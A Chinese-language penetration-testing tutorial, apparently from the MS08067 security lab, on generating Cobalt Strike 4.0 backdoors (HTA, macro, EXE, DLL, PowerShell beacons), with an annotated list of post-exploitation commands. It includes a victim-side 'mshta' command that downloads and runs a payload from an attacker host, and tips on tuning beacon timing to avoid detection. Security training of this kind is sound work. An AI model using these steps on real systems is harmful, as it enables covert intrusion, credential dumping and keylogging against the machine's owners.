出品|MS08067實驗室(www.ms08067.com)
本文作者:BlackCat(Ms08067內網安全小組成員)
CobalStrike 4.0 生成后門幾種方式
步驟:Attacks—〉Packages—〉如下:
HTML Application 生成惡意的HTA木馬文件
MS Office Macro 生成office宏病毒文件
Payload Gene rator 生成各種語言版本的payload;
Windows Executable 生成可執行exe木馬;
Windows Executable⑸ 生成無狀態的可執行exe木馬。

1、HTML Application
生成惡意的HTA木馬文件
一個HTML Application (HTML應用)是一個使用HTML和一個Internet瀏覽器支持的腳本語言編寫的Windows程序。該程序包生成一個HTML應用,該應用運行一個CobaltSt rikepayload。你可以選擇可執行的選項來獲取一個HTML應用,此HTML應用使得一個可執行文件落地在磁盤上並運行它。
選擇PowerShell選項來得到一個HTML應用,該應用使用PowerShell來運行一個payload。使用VBA選項來靜默派生一個MicrosoftExcel實例並運行一個惡意的宏來將payload注入到內存中。
生成一個 HTML application
Attacks -> Packages -> Html Application

這里有三種工作方式

executable(生成可執行攻擊腳本)
powershell(生成一個powershell的腳本)
VBA(生成一個vba的腳本,使用mshta命令執行)
這里借鑒一個網上的方法,生成一個powershell,因為i兩外兩種方式上線不成功,然后配合host file使用。

然后會生成一個URL復制到
http://x.x.x.x:8008/download/file.ext
然后在受害者機器上運行
mshta http://x.x.x.x:8008/download/file.ext
然后CS端就可以收到上線了

2、MS Office Macro
該程序包生成一個MicrosoftOffice的宏文件並提供將宏嵌入Microsoft Word或Microsoft Excel的說明。這個參考我釣魚部分的宏文件制作部分的文章。
3、payload Generator
該程序包允許你以不同的多種格式導出Cobalt Strike的stager。
運行 Attacks -> packages --> payload generator
該模塊可以生成n種語言的后門Payload,包括C,C#,Python,Java,Perl,Powershell腳本,Powershell命 令,Ruby,Raw,免殺框架Veli中的shellcode等等…

滲透Windows主機過程中,用的比較多的就是Powershell和Powershell Command,主要是因為其方便 易用,且可以逃避一下殺毒軟件(AV)的查殺。
以Powe rshell Command為例,生成的payload為一串命令,只要在主機上執行這一串命令(主機需安 裝Powe rshell), cs即可收到主機的beacon

4、Windows Executable (Windows 可執行文件)
該程序包生成一個Windows可執行Ar tifact,用於傳送一個payload stage r。這個程序包為你提供了多種輸出選項。
Windows Serv ice EXE 是一個 Windows 可執行文件,可響應Service Cont rol Manage r命令。你可以使用這個可執行文件來作為使用sc命令起的Windows服務的調用程序,或使用Metasploit框架的PsExec模塊生成一個自定義的可執行文件。
也就是說,普通的EXE和服務器啟動調用的EXE是有區別是。利用Windows ServiceEXE生成的EXE才能用來作為服務自啟動的EXE,利用Cobalt Strike中Windows exe生成的EXE不能作為服 務自啟動的EXE程序(因為不能響應Service Control Manager)

Windows DLL (32-bit)是一個 x86 的 Windows DLL。
Windows DLL (64-bit)是一個x64的Windows DLL。這個DLL會派生一個32位的進程,並且將你的監聽器遷移至其上。這兩個DLL選項都會導出一個開始功能,此功能與rundll32 .exe相兼容。使用rundll32 .exe來從命令行加載你的DLL。勾選Use x64 payload框來生成匹配x64 stager的x64Ar tifact。勾選Sign executable file框來使用一個代碼簽名的證書來簽名一個EXE或DLL Ar tifact。你 必須指定一個證書,你必須在C2拓展文件中指定證書。
上面說了好多但是實踐非常簡單,只是需要確認下受害者的電腦是X64還是X32直接運行我們生成的exe文件

5、Windows Executable(s)
該程序包直接導出Beacon (也就是payload stage),這個Beacon是作者寫好的32或64位DLL,是一個不使用stager的可執行文件,直接和監聽器連接、傳輸數據和命令。一個不使用stager的payload Ar tifact被稱為無階段的Ar tifact。這個程序包也有Powe rShell選項來導出Beacon作為一個PowerShell腳本,或raw選項導出與位置無關的beacon代碼。
默認情況下,這個對話導出x86 payload stage。勾選Use x64 payload框來使用x64 Ar tifact生成一個x64 stage。勾選Sign executable file框來使用代碼簽名的證書來簽名一個EXE或DLL Artifact。
這里嘗試生成一個powershell馬
但是生成后直接運行不可行

這里要更改下他的策略
只有管理員才有權限更改這個策略。非管理員會報錯。查看腳本執行策略,可以通過:
PS E:> Get-ExecutionPolicy
更改腳本執行策略,可以通過
PS E:> Get-ExecutionPolicyRestrictedPS E:> Set-ExecutionPolicy UnRestricted
然后再次執行:

CS4.0上線機器后操作
右鍵菜單:

一、Interact
進入操作命令
二、Access

Dump Hashes # 獲取hash
Elevate #提權
Golden Ticket #生成黃金票據注入當前會話
Make token #憑證轉換
Run Mimikatz # 運行Mimikatz
Spawn As #用其他用戶生成Cobalt Strike偵聽器
三、Explore

Browser Pivot #劫持目標瀏覽器進程
Desktop(VNC) #桌面交互
File Browser #文件瀏覽器
Net View #命令Net View
Port Scan #端口掃描
Process List #進程列表
Screenshot # 截圖
四、Pivoting

SOCKS Server# 代理服務
Listener #反向端口轉發
Deploy VPN #部署VPN
五、Spawn
外部監聽器(如指派給MSF,獲取meterpreter權限)
六、Session

Note #備注
color #標注顏色
Remove #刪除
Sleep #指定被控端休眠時間,默認60秒一次回傳,讓被控端每10秒來下載一次任務。實際中頻率 不宜過快,容易被發現。(心跳時間)
Exit #退出
interact打開beacon后執行的操作:
-
argue 進程參數欺騙
-
blockdlls 阻⽌⼦進程加載⾮Microsoft DLL
-
browserpivot 注⼊受害者瀏覽器進程
-
bypassuac 繞過UAC提升權限
-
cancel 取消正在進⾏的下載
-
cd 切換⽬錄
-
checkin 強制讓被控端回連⼀次
-
clear 清除beacon內部的任務隊列
-
connect Connect to a Beacon peer over TCP
-
covertvpn 部署Covert VPN客戶端
-
cp 復制⽂件
-
dcsync 從DC中提取密碼哈希
-
desktop 遠程桌⾯(VNC)
-
dllinject 反射DLL注⼊進程
-
dllload 使⽤LoadLibrary將DLL加載到進程中
-
download 下載⽂件
-
downloads 列出正在進⾏的⽂件下載
-
drives 列出⽬標盤符
-
elevate 使⽤exp
-
execute 在⽬標上執⾏程序(⽆輸出
-
execute-assembly 在⽬標上內存中執⾏本地.NET程序
-
exit 終⽌beacon會話
-
getprivs Enable system privileges on current token
-
getsystem 嘗試獲取SYSTEM權限
-
getuid 獲取⽤戶ID
-
hashdump 轉儲密碼哈希值
-
help 幫助
-
inject 在注⼊進程⽣成會話
-
jobkill 結束⼀個后台任務
-
jobs 列出后台任務
-
kerberos_ccache_use 從ccache⽂件中導⼊票據應⽤於此會話
-
kerberos_ticket_purge 清除當前會話的票據
-
kerberos_ticket_use Apply 從ticket⽂件中導⼊票據應⽤於此會話
-
keylogger 鍵盤記錄
-
kill 結束進程
-
link Connect to a Beacon peer over a named pipe
-
logonpasswords 使⽤mimikatz轉儲憑據和哈希值
-
ls 列出⽂件
-
make_token 創建令牌以傳遞憑據
-
mimikatz 運⾏mimikatz
-
mkdir 創建⼀個⽬錄
-
mode dns 使⽤DNS A作為通信通道(僅限DNS beacon)
-
mode dns-txt 使⽤DNS TXT作為通信通道(僅限D beacon)
-
mode dns6 使⽤DNS AAAA作為通信通道(僅限DNS beacon)
-
mode http 使⽤HTTP作為通信通道
-
mv 移動⽂件
-
net net命令
-
note 備注
-
portscan 進⾏端⼝掃描
-
powerpick 通過Unmanaged PowerShell執⾏命令
-
powershell 通過powershell.exe執⾏命令
-
powershell-import 導⼊powershell腳本
-
ppid Set parent PID for spawned post-ex jobs
-
ps 顯示進程列表
-
psexec Use a service to spawn a session on a host
-
psexec_psh Use PowerShell to spawn a session on a host
-
psinject 在特定進程中執⾏PowerShell命令
-
pth 使⽤Mimikatz進⾏傳遞哈希
-
pwd 當前⽬錄位置
-
reg Query the registry
-
rev2self 恢復原始令牌
-
rm 刪除⽂件或⽂件夾
-
rportfwd 端⼝轉發
-
run 在⽬標上執⾏程序(返回輸出)
-
runas 以其他⽤戶權限執⾏程序
-
runasadmin 在⾼權限下執⾏程序
-
runu Execute a program under another PID
-
screenshot 屏幕截圖
-
setenv 設置環境變量
-
shell 執⾏cmd命令
-
shinject 將shellcode注⼊進程
-
shspawn 啟動⼀個進程並將shellcode注⼊其中
-
sleep 設置睡眠延遲時間
-
socks 啟動SOCKS4代理
-
socks stop 停⽌SOCKS
-
spawn Spawn a session
-
spawnas Spawn a session as another user
-
spawnto Set executable to spawn processes into
-
spawnu Spawn a session under another PID
-
ssh 使⽤ssh連接遠程主機
-
ssh-key 使⽤密鑰連接遠程主機
-
steal_token 從進程中竊取令牌
-
timestomp 將⼀個⽂件的時間戳應⽤到另⼀個⽂件
-
unlink Disconnect from parent Beacon
-
upload 上傳⽂件
-
wdigest 使⽤mimikatz轉儲明⽂憑據
-
winrm 使⽤WinRM橫向滲透
-
wmi 使⽤WMI橫向滲透
轉載請聯系作者並注明出處!
Ms08067安全實驗室專注於網絡安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力於做一個實用的干貨分享型公眾號。
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社區
加入后邀請加入內部VIP群,內部微信群永久有效!